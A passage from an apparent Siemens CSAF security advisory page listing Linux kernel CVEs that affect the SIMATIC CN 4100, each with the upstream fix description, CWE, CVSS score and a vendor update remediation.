__pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE 